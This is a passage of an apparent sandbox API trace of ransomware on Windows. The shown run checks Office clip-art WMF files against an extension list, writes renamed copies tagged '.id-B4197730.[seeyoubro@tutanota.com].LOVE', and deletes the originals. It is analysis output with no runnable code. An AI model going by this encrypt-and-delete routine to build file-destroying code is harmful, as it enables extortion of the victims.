(lpString=".jpg") returned 4 [0208.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.937] GetLastError () returned 0x0 [0208.937] ReadFile (in: hFile=0x348, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x6b0, lpOverlapped=0x0) returned 1 [0208.946] WriteFile (in: hFile=0x300, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x6c0, lpOverlapped=0x0) returned 1 [0208.947] ReadFile (in: hFile=0x348, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.947] WriteFile (in: hFile=0x300, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.947] SetEndOfFile (hFile=0x300) returned 1 [0208.947] CloseHandle (hObject=0x300) returned 1 [0208.947] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.947] SetEndOfFile (hFile=0x348) returned 1 [0208.947] CloseHandle (hObject=0x348) returned 1 [0208.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.948] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 1 [0208.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0208.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0208.948] lstrlenW (lpString=".doc") returned 4 [0208.948] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.948] lstrlenW (lpString=".docx") returned 5 [0208.948] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.948] lstrlenW (lpString=".pdf") returned 4 [0208.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.948] lstrlenW (lpString=".xls") returned 4 [0208.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.948] lstrlenW (lpString=".xlsx") returned 5 [0208.948] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.948] lstrlenW (lpString=".ppt") returned 4 [0208.948] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0208.948] lstrlenW (lpString=".zip") returned 4 [0208.948] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.948] lstrlenW (lpString=".rar") returned 4 [0208.948] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.948] lstrlenW (lpString=".bz2") returned 4 [0208.948] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.948] lstrlenW (lpString=".7z") returned 3 [0208.948] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0208.949] lstrlenW (lpString=".dbf") returned 4 [0208.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0208.949] lstrlenW (lpString=".1cd") returned 4 [0208.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0208.949] lstrlenW (lpString=".jpg") returned 4 [0208.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.949] GetLastError () returned 0x0 [0208.949] ReadFile (in: hFile=0x348, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x20ae, lpOverlapped=0x0) returned 1 [0209.117] WriteFile (in: hFile=0x300, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x20b0, lpOverlapped=0x0) returned 1 [0209.305] ReadFile (in: hFile=0x348, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.305] WriteFile (in: hFile=0x300, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.305] SetEndOfFile (hFile=0x300) returned 1 [0209.305] CloseHandle (hObject=0x300) returned 1 [0209.306] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.306] SetEndOfFile (hFile=0x348) returned 1 [0209.306] CloseHandle (hObject=0x348) returned 1 [0209.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0209.306] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 1 [0209.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0209.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0209.307] lstrlenW (lpString=".doc") returned 4 [0209.307] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.307] lstrlenW (lpString=".docx") returned 5 [0209.307] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0209.307] lstrlenW (lpString=".pdf") returned 4 [0209.307] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.307] lstrlenW (lpString=".xls") returned 4 [0209.307] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.307] lstrlenW (lpString=".xlsx") returned 5 [0209.307] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0209.307] lstrlenW (lpString=".ppt") returned 4 [0209.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0209.307] lstrlenW (lpString=".zip") returned 4 [0209.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.307] lstrlenW (lpString=".rar") returned 4 [0209.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.307] lstrlenW (lpString=".bz2") returned 4 [0209.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.307] lstrlenW (lpString=".7z") returned 3 [0209.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0209.307] lstrlenW (lpString=".dbf") returned 4 [0209.307] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0209.307] lstrlenW (lpString=".1cd") returned 4 [0209.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0209.307] lstrlenW (lpString=".jpg") returned 4 [0209.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.308] GetLastError () returned 0x0 [0209.308] ReadFile (in: hFile=0x348, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x15cc, lpOverlapped=0x0) returned 1 [0209.309] WriteFile (in: hFile=0x300, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x15d0, lpOverlapped=0x0) returned 1 [0209.310] ReadFile (in: hFile=0x348, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.310] WriteFile (in: hFile=0x300, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.310] SetEndOfFile (hFile=0x300) returned 1 [0209.310] CloseHandle (hObject=0x300) returned 1 [0209.310] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.311] SetEndOfFile (hFile=0x348) returned 1 [0209.311] CloseHandle (hObject=0x348) returned 1 [0209.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0209.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 1 [0209.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0209.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0209.312] lstrlenW (lpString=".doc") returned 4 [0209.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.312] lstrlenW (lpString=".docx") returned 5 [0209.312] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0209.312] lstrlenW (lpString=".pdf") returned 4 [0209.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.312] lstrlenW (lpString=".xls") returned 4 [0209.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.312] lstrlenW (lpString=".xlsx") returned 5 [0209.312] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0209.312] lstrlenW (lpString=".ppt") returned 4 [0209.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0209.312] lstrlenW (lpString=".zip") returned 4 [0209.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.312] lstrlenW (lpString=".rar") returned 4 [0209.312] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.312] lstrlenW (lpString=".bz2") returned 4 [0209.312] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.312] lstrlenW (lpString=".7z") returned 3 [0209.312] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0209.312] lstrlenW (lpString=".dbf") returned 4 [0209.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0209.313] lstrlenW (lpString=".1cd") returned 4 [0209.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0209.313] lstrlenW (lpString=".jpg") returned 4 [0209.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.313] GetLastError () returned 0x0 [0209.313] ReadFile (in: hFile=0x348, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xdc4, lpOverlapped=0x0) returned 1 [0209.321] WriteFile (in: hFile=0x300, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xdd0, lpOverlapped=0x0) returned 1 [0209.322] ReadFile (in: hFile=0x348, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.322] WriteFile (in: hFile=0x300, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.322] SetEndOfFile (hFile=0x300) returned 1 [0209.322] CloseHandle (hObject=0x300) returned 1 [0209.322] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.322] SetEndOfFile (hFile=0x348) returned 1 [0209.323] CloseHandle (hObject=0x348) returned 1 [0209.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0209.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 1 [0209.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0209.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0209.323] lstrlenW (lpString=".doc") returned 4 [0209.323] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.323] lstrlenW (lpString=".docx") returned 5 [0209.324] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0209.324] lstrlenW (lpString=".pdf") returned 4 [0209.324] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.324] lstrlenW (lpString=".xls") returned 4 [0209.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.324] lstrlenW (lpString=".xlsx") returned 5 [0209.324] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0209.324] lstrlenW (lpString=".ppt") returned 4 [0209.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0209.324] lstrlenW (lpString=".zip") returned 4 [0209.324] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.324] lstrlenW (lpString=".rar") returned 4 [0209.324] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.324] lstrlenW (lpString=".bz2") returned 4 [0209.324] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.324] lstrlenW (lpString=".7z") returned 3 [0209.324] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0209.324] lstrlenW (lpString=".dbf") returned 4 [0209.324] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0209.324] lstrlenW (lpString=".1cd") returned 4 [0209.324] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0209.324] lstrlenW (lpString=".jpg") returned 4 [0209.324] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.325] GetLastError () returned 0x0 [0209.325] ReadFile (in: hFile=0x348, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x68c, lpOverlapped=0x0) returned 1 [0209.342] WriteFile (in: hFile=0x300, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x690, lpOverlapped=0x0) returned 1 [0209.343] ReadFile (in: hFile=0x348, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.343] WriteFile (in: hFile=0x300, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.343] SetEndOfFile (hFile=0x300) returned 1 [0209.343] CloseHandle (hObject=0x300) returned 1 [0209.344] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.344] SetEndOfFile (hFile=0x348) returned 1 [0209.344] CloseHandle (hObject=0x348) returned 1 [0209.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0209.345] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 1 [0209.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0209.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0209.346] lstrlenW (lpString=".doc") returned 4 [0209.346] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.346] lstrlenW (lpString=".docx") returned 5 [0209.346] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0209.346] lstrlenW (lpString=".pdf") returned 4 [0209.346] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.346] lstrlenW (lpString=".xls") returned 4 [0209.346] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.346] lstrlenW (lpString=".xlsx") returned 5 [0209.346] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0209.346] lstrlenW (lpString=".ppt") returned 4 [0209.346] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0209.346] lstrlenW (lpString=".zip") returned 4 [0209.346] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.346] lstrlenW (lpString=".rar") returned 4 [0209.346] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.346] lstrlenW (lpString=".bz2") returned 4 [0209.346] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.346] lstrlenW (lpString=".7z") returned 3 [0209.346] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0209.346] lstrlenW (lpString=".dbf") returned 4 [0209.346] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0209.347] lstrlenW (lpString=".1cd") returned 4 [0209.347] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0209.347] lstrlenW (lpString=".jpg") returned 4 [0209.347] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.371] GetLastError () returned 0x0 [0209.371] ReadFile (in: hFile=0x388, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xed4, lpOverlapped=0x0) returned 1 [0209.373] WriteFile (in: hFile=0x300, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xee0, lpOverlapped=0x0) returned 1 [0209.374] ReadFile (in: hFile=0x388, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.375] WriteFile (in: hFile=0x300, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.375] SetEndOfFile (hFile=0x300) returned 1 [0209.375] CloseHandle (hObject=0x300) returned 1 [0209.375] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.375] SetEndOfFile (hFile=0x388) returned 1 [0209.376] CloseHandle (hObject=0x388) returned 1 [0209.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0209.376] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 1 [0209.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0209.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0209.377] lstrlenW (lpString=".doc") returned 4 [0209.377] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.377] lstrlenW (lpString=".docx") returned 5 [0209.377] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0209.377] lstrlenW (lpString=".pdf") returned 4 [0209.377] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.377] lstrlenW (lpString=".xls") returned 4 [0209.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.377] lstrlenW (lpString=".xlsx") returned 5 [0209.377] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0209.377] lstrlenW (lpString=".ppt") returned 4 [0209.377] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0209.377] lstrlenW (lpString=".zip") returned 4 [0209.377] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.377] lstrlenW (lpString=".rar") returned 4 [0209.377] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.378] lstrlenW (lpString=".bz2") returned 4 [0209.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.378] lstrlenW (lpString=".7z") returned 3 [0209.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0209.378] lstrlenW (lpString=".dbf") returned 4 [0209.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0209.378] lstrlenW (lpString=".1cd") returned 4 [0209.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0209.378] lstrlenW (lpString=".jpg") returned 4 [0209.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.378] GetLastError () returned 0x0 [0209.378] ReadFile (in: hFile=0x388, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xaac, lpOverlapped=0x0) returned 1 [0209.394] WriteFile (in: hFile=0x300, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xab0, lpOverlapped=0x0) returned 1 [0209.394] ReadFile (in: hFile=0x388, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.394] WriteFile (in: hFile=0x300, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.395] SetEndOfFile (hFile=0x300) returned 1 [0209.395] CloseHandle (hObject=0x300) returned 1 [0209.395] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.395] SetEndOfFile (hFile=0x388) returned 1 [0209.396] CloseHandle (hObject=0x388) returned 1 [0209.396] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 